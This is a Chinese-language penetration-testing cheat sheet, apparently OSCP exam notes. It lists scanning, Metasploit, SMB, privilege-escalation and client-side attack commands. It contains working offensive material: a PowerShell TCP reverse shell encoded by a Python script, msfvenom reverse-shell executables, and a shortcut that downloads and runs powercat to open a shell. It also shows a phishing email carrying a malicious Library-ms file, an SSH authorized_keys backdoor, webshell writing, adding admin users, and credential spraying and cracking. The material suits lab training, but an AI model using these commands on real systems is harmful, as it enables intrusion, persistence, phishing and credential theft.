扫描命令

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
sudo nmap -sC -sS -p0-65535 sandbox.local
sudo nmap -p22,80 -sV -A sandbox.local
# 端口扫描,多跑几次
sudo nmap --min-rate 10000 -p- 192.168.220.118
sudo nmap -p22,80 -sV -A sandbox.local

# 目录扫描
dirsearch -u http://192.168.212.89 -f -e php,txt,html,zip,rar,tar.gz,tar -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
dirsearch -u http://192.168.237.80 -f -e php,txt,html,zip,rar,tar.gz,tar -w /usr/share/dirb/wordlists/common.txt
gobuster dir -u http://192.168.178.80 -w /usr/share/wordlists/dirb/common.txt
dirsearch -u http://172.16.33.62:7601/ -x 403
dirb http://10.0.2.5/cgi-bin /usr/share/wordlists/dirb/big.txt
gobuster dir -u http://192.168.178.80 -x html,php,txt -w /usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt

# 扫描.zip文件
gobuster dir -u http://192.168.1.22 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x .zip

# Fuzz参数
ffuf -u 'http://192.168.179.80:80/console/file.php?FUZZ=/etc/passwd' -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -fs 0

# dirsearch加上basic-auth认证的参数
dirsearch -u http://192.168.151.191/ -f -e php,txt,html,zip,rar,tar.gz,tar -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt --auth dmzadmin:SlimGodhoodMope --auth-type basic

SSH后门

本地提权之后可以上传ssh公钥,保持长期访问权限

1
2
3
4
5
6
7
ssh -keygen
cat ~/.ssh/id_rsa.pub
mkdir /root/.ssh # 被控机器执行
echo "ssh-rsa AAAxxxxxxx...kali@kali" > /root/.ssh/authorized_keys

SSH连接目标主机
ssh root@sandbox.local

MSF

auxiliary是探测类型的模块

1
2
3
4
5
6
7
8
use 模块名
search 关键字
search type:auxiliary name:smb
sessions 查看当前session
session -i $id 进入指定的session
run -j 后台运行
bg 把当前session放到后台
migrate $PID 进程迁移

除了基本 Payload,Metasploit还包含多种高级 Payload

1
2
3
4
5
6
7
Staged vs Non-Staged Payloads
Non-Staged:不分阶段Payload 与EXP一起被完整地发送到目标系统

Staged:分阶段Payload通常分为两部分
第一部分较小,负责建立反弹连接,然后传输较大的第二部分Payload 并执行
当没有足够的缓存空间来存储完整的Payload
避免被AV软件发现,第一阶段不包含明显特征的恶意代码,利用其加载第二阶段代码到内存中执行

名称中的‘/’用来指示Payload是否分阶段

1
2
不分阶段:shell_reverse_tcp
分阶段:shell/reverse_tcp

Meterpreter Shell

1
2
search meterpreter type:payload
set payload windows/meterpreter/reverse_http

上传下载时目标主机路径要加双\

1
2
upload /usr/share/windows-resources/binaries/nc.exe c:\\Users\\Offsec
download c:\\Windows\\system32\\calc.exe /tmp/calc.exe

msfvenom

1
2
3
4
msfvenom -p windows/shell_reverse_tcp LHOST=10.0.2.12 LPORT=443 -f exe -o r.exe
然后kali开侦听
use exploit/multi/handler
set payload windows/shell_reverse_tcp

OSCP考试中不能用msf作跳板

1
2
route add 内网网段
然后msf内部直接访问内网网段即可

除了手动添加内网路由穿透内网,也可以使用autoroute模块,自动利用已建立的Meterpreter会话穿透内网

1
2
3
4
msf5 exploit(multi/handler) > use multi/manage/autoroute
msf5 post(multi/managelautoroute) > sessions -l
msf5 post(multi/managelautoroute) > set session 4
msf5 post(multi/manage/autoroute) > exploit

结合路由和server/socks4a模块,配置socks4a代理,允许外部工具直接访问内网

1
2
3
msf5 post(multi/manage/autoroute) > use auxiliary/server/socks4a
msf5 auxiliary(server/socks4a) > set SRVHOST 127.0.0.1
msf5 auxiliary(server/socks4a) > exploit -j

配置Proxychains ,挂代理访问内网

跨平台编译

1
2
3
4
5
6
7
8
9
10
11
12
sudo apt install mingw-w64
i686-w64-mingw32-gcc 42341.c -o syncbreeze_exploit.exe #报错
i686-w64-mingw32-gcc 42341.c -o syncbreeze_exploit.exe -lws2_32

编译32位C语言Windows程序
i686-w64-mingw32-gcc
编译64位C语言Windows程序
x86_64-w64-mingw32-gcc
编译32位C++语言Windows程序
i686-w64-mingw32-g++
编译64位C++语言Windows程序
x86_64-w64-mingw32-g++

SMB Service

1
2
3
4
5
6
7
8
smbclient -L 192.168.222.11 # 匿名登录smb
smbmap -H 192.168.222.11
smbclient //192.168.222.11/IPC$ # 匿名查看共享目录
遇到SMB服务一定记得试一下能不能put上传文件
enum4linux -a 192.168.0.109 # 枚举用户等各种信息,在拿不到用户名的时候可以尝试

检测SMB在指定机器上能否登录
crackmapexec smb 192.168.50.242 -u usernames.txt -p passwords.txt --continue-on-success

字符串加解密相关

1
2
++++++++++[>+>+++>+++++++>++++++++++<<<<-]>>++++++++++++++++.++++.>>+++++++++++++++++.----.<++++++++++.-----------.>-----------.++++.<<+.>-.--------.++++++++++++++++++++.<------------.>>---------.<<++++++.++++++.
这种叫Brainfuck/Ook! decode

压缩包破解

1
2
zip2john tom.zip >> has1.txt
john has1.txt #会输出压缩包密码

渗透常用命令

ssh指定密钥登录

1
ssh -i key root@ip

echo写入webshell

1
echo '<?php xxx>' >> webshell.php.jpg # 单引号

对隐写的文件进行分析提取 -p是指定密码

1
steghide extract -sf test.jpg -p 123456

绕过restricted shell,一般就ssh加上-t “bash –noprofile”

1
https://www.hackingarticles.in/multiple-methods-to-bypass-restricted-shell/?source=post_page-----c9182b63a4de--------------------------------

shellshock不一定打/cgi-bin/的cgi文件,打/cgi-bin/test这种后缀不是cgi的都可以

curl命令进行POST方式上传文件

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
# 第一个-F为指定本地上传的文件的路径,@符号必须要有,第二个-F为额外的自定义的参数,可以没有,大部分情况下得有,实际上就是POST传过去的数据
curl -X POST -F "file=@/home/xxx" -F filename="/tmp/test.txt" http://xxxx.xxx
# 生成木马
msfvenom -p payload LPORT= LHOST= -f exe -o eee.exe

# Windows下载文件
iwr -uri http://192.168.45.192/win_shell.exe -Outfile C:\Windows\Temp\shell.exe

# 开启3389
REG ADD "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 00000000 /f
REG ADD "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /v PortNumber /t REG_DWORD /d 0x00000d3d /f

# 修改windows防火墙配置允许3389
netsh advfirewall firewall add rule name="Remote Desktop" protocol=TCP dir=in localport=3389 action=allow

# 新增Windows用户并设置为管理员
net user name password /add
net localgroup administrators 用户名 /add

# Kali开启ssh
sudo systemctl start ssh

# Windows访问目标机器共享文件夹
Win+R,然后\\目标IP

# 内网主机发现(ping扫描)
for /L %i in (1,1,255) do @ping -n 1 -w 200 10.5.5.%i > nul && echo 10.5.5.%i is up
for i in $(seq 1 254); do nc -zv -w 1 172.16.50.$i 445; done

# win下载文件
iwr -uri http://192.168.119.2/nonstaged.exe -Outfile nonstaged.exe

# rdp
xfreerdp /v:192.168.155.152 /u:student /p:lab

系统常用命令

Linux

查找指定名称的文件

1
2
#2>/dev/null是将错误信息重定向到垃圾回收系统
find / -name Settings.* 2>/dev/null #looking through the files

https://www.ddosi.org/oscp-cheat-sheet-2/

which在$PATH环境变量中搜索指定名称的文件

1
2
echo $PATH
which sbd

locate命令,通过搜索locate.db文件来定位目标文件

1
2
3
#使用updatedb命令可升级locate.db
sudo updatedb
locate sbd.exe

find 命令

1
2
3
4
5
6
7
8
9
10
11
12
#彻底搜索文件系统
#支持基于名称、时间、大小、所有者、文件类型、时间戮、权限等条件的搜索

#搜索最近 24 小时修改过的文件
find / -mtime 0
#搜索最近30分钟修改过的文件
find . -type f -iname '*.sh' -mmin -30 -ls
#对搜索结果执行命令(删除)
find . -name .svn -exec rm -rfo {} \;
find . -name .svn | xargs rm -rf
#搜索启用 SUID 权限的文件
find / -type f -perm -u=s -ls 2>/dev/null

查看系统中可用的服务

1
systemctl list-unit-files

rdp指定域名

1
xfreerdp /u:stephanie /d:corp.com /v:192.168.50.75

python生成Windows shellcode

1
2
3
4
5
6
7
8
import sys
import base64

payload = '$client = New-Object System.Net.Sockets.TCPClient("192.168.45.192",5555);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + "PS " + (pwd).Path + "> ";$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()'

cmd = "powershell -nop -w hidden -e " + base64.b64encode(payload.encode('utf16')[2:]).decode()

print(cmd)

启动apache服务

1
service apache2 start 

msfconsole开启socks代理

1
2
3
4
5
6
7
8
use multi/manage/autoroute
set session
run
use auxiliary/server/socks_proxy
set SRVHOST 127.0.0.1
set VERSION 5
run -j
然后使用proxychains打内网

跨平台编译exe

1
x86_64-w64-mingw32-gcc adduser.c -o adduser.exe

绕过limited shell

1
echo os.system("/bin/bash")

确定apache 根目录

1
2
3
检查 /opt/apache2/conf/httpd.conf 或 /opt/apache2/conf/apache2.conf 文件中的 DocumentRoot 指令。
检查 /opt/apache2/conf.d/ 或 /opt/apache2/sites-enabled/ 目录中的虚拟主机配置文件中的 DocumentRoot 指令。
通过这些步骤,你可以确定网站根目录的位置。

查看监听端口

1
ss -lntp

批量检测rdp服务是否可以登录

1
netexec rdp ip.txt -u aaa -p bbb -d ccc.com

查找当前目录所有文件中是否有指定字符串

1
find . | xargs grep -ri "1qaz2wsx#EDC" -l

Windows

查看文件内容

1
type $fileName

查看所有文件(包括隐藏文件)

1
2
3
dir /a
#查看所有文件及其属性
attrib *

/users目录中存放每个用户的个人目录,/users/public目录是共享目录,所有人都可以访问、写入,如果需要写入文件,可以在该目录下

/users/username/Appdata是一个隐藏文件夹,/users/username/Appdata/Roaming是在域环境下可能包含用户配置文件的目录

查看远程目标主机的系统信息(前提是被控机器有目标机器的登录权限,或者知道域的用户名和密码)

1
2
systeminfo /s $hostname
systeminfo /s $hostname domain\user /P password

查看系统环境变量

1
set

搜索当前目录及子目录的文件(powershell)

1
2
3
4
5
6
dir /s $filename
#/p表示循环输出,不一次性输出
dir /s *.exe /p
tree /f > tree.txt然后搜索tree.txt
#使用forfiles
forfiles /p c:\windows /s /m notepad.exe /c "command you want to execute"

使用whoami查看用户SID,管理员是5000,用户从1001开始

1
2
3
4
5
6
7
8
PS C:\Users\J0ker> whoami /user

用户信息
----------------

用户名 SID
===================== =============================================
desktop-kfa4a5s\j0ker S-1-5-21-2231775247-161512554-3901611509-1001

查看当前用户权限,属于administrator组就有管理员权限

1
whoami /user

查看文件权限,(F)表示所有权限

1
icacls $fileName

查看运行的所有进程

1
tasklist

查看网页源码

1
2
iwr看网页源码
PS C:\Tools> (iwr -UseDefaultCredentials http://web04).Content | findstr /i "OS{"

开启服务(Start-Service无法使用的时候)

1
sc start audittracker

powershell进cmd

1
cmd dir

删除共享

1
net use * /del /y

powershell脚本.ps1中执行exe

1
2
& C:\updatecollector\updatecollctor.exe
&运算符用于调用程序,这里它尝试运行位于C:\updatecollector\路径下的updatecollctor.exe程序。

powershell -a 和powershell -c,下载和执行方式

1
powershell -c "iwr -uri http://192.168.45.192/test.txt -Outfile test.txt"

客户端攻击

webdav目录执行

1
/home/yu1e/.local/bin/wsgidav --host=0.0.0.0 --port=80 --auth=anonymous --root /home/yu1e/webdav/

powercat.ps1的目录下

1
python3 -m http.server

webdav目录下放着powershell.lnk和body.txt和config.ms,开监听

发邮件(from参数的用户和登录邮件服务的用户最好一致)

1
sudo swaks -t jim@relia.com --from maildmz@relia.com --attach @config.Library-ms --server 192.168.202.189 --body body.txt --header "Subject: Staging Script" -ap

config.Library-ms内容

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
└─$ cat config.Library-ms 
<?xml version="1.0" encoding="UTF-8"?>
<libraryDescription xmlns="http://schemas.microsoft.com/windows/2009/library">
<name>@windows.storage.dll,-34582</name>
<version>6</version>
<isLibraryPinned>true</isLibraryPinned>
<iconReference>imageres.dll,-1003</iconReference>
<templateInfo>
<folderType>{7d49d726-3c21-4f05-99aa-fdc2c9474656}</folderType>
</templateInfo>
<searchConnectorDescriptionList>
<searchConnectorDescription>
<isDefaultSaveLocation>true</isDefaultSaveLocation>
<isSupported>false</isSupported>
<simpleLocation>
<url>http://192.168.45.167</url>
</simpleLocation>
</searchConnectorDescription>
</searchConnectorDescriptionList>
</libraryDescription>

powershell.lnk文件,新建快捷方式,指向

1
2
powershell.exe -c "IEX(New-Object System.Net.WebClient).DownloadString('http://192.168.119.3:8000/powercat.ps1');
powercat -c 192.168.119.3 -p 4444 -e powershell"

其他思路

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
记得扫目录中的子目录

现成的EXP不能用的话,记得看漏洞描述

弱口令试一下用户名和密码都是用户名,使用su切换用户

如果是固定的那种系统,可以搜默认账号密码,然后拿默认账号去爆破密码

一定记得看网页源码

有时候需要切换到普通用户,再拿root

文件包含可以读取passwd文件然后破解

进去有phpmyadmin的系统,找数据库配置文件,拿来密码复用

记得读取passwd文件然后破解

如果有文件上传,可以考虑上传一个txt之类的文件到.ssh/authorized_keys上去,然后登录(下面的例子实际上是上传之后用filename参数把上传之后的文件名改了)
ssh-keygen
sudo chmod 600 id_rsa
sudo cp id_rsa.pub id_rsa.txt
curl -i -L -X POST -F file="@/id_rsa.txt" -F filename=”/home/xxx/.ssh/authorized_keys” http://xxx
sudo ssh -oHostKeyAlgorithms=+ssh-dss alfredo@192.168.185.249 -p 25022 -i /home/sinner/Documents/oscp/id_rsa

直接访问看不到的,curl有时候可以看到

文件上传可以考虑覆盖.ssh/authorized_keys

目录穿越试一下把/编码,就是%2F,或者改成\,就是%5C

xfreerdp连不上的话机上/cert-ignore
sudo ip l s dev tun0 mtu 1300(非必要)
sudo proxychains xfreerdp /v:172.16.167.200 /u:luiza /timeout:60000
sudo proxychains xfreerdp /v:172.16.119.200 /u:luiza /cert-ignore /timeout:60000

读文件的时候如果能读到/home/daniela/.ssh/id_rsa就读出来,然后破解
ssh2john id_rsa > ssh.hash
john --wordlist=/usr/share/wordlists/rockyou.txt ssh.hash

ssh2john id_rsa > ssh.hash
cat ssh.hash 看$sshng$x是$几
hashcat -h | grep -i "ssh" 找module
hashcat -m 22921 ssh.hash ssh.passwords --force(不一定行)


如果发现了git,进web目录(不一定必要),然后查看日志git log,找到对应的日志编号
commit 612ff5783cc5dbd1e0e008523dba83374a84aaf1,
然后运行git show 612ff5783cc5dbd1e0e008523dba83374a84aaf1


目录穿越文件任意读,读passwd,然后读ssh key
ssh-key包括的种类id_ed25519 id_ecdsa id_dsa id_rsa

有时候可以查看监听的端口来发现只对本地开放的端口和服务

文件包含漏洞往上层目录穿越,不仅仅是绝对路径

linpeas关注可写目录

看到?参数试一下文件包含

服务看不到不等于没有,可能是没权限看

上pspy看进程,或许有口令

有的普通用户也能进root

Windows提权添加用户的时候密码选复杂点的

记得密码喷洒

查看Web框架是Apache 2.4.49,找到路径穿越的洞

.php不行,把后缀改为pHP

查看用户的history文件

工具

内网扫描

1
2
https://github.com/elddy/NimScan
https://github.com/sh1yan/Lscan

工具网站

1
2
3
4
cyberchef
https://gtfobins.github.io
https://book.hacktricks.xyz/
https://www.hackingarticles.in/msfvenom-cheatsheet-windows-exploitation/